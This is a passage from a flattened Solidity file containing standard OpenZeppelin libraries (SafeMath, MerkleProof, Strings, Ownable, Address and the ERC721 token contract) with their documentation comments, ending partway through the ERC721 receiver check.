function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts (last updated v4.6.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*
* WARNING: You should avoid using leaf values that are 64 bytes long prior to
* hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in
* the merkle tree could be reinterpreted as a leaf value.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
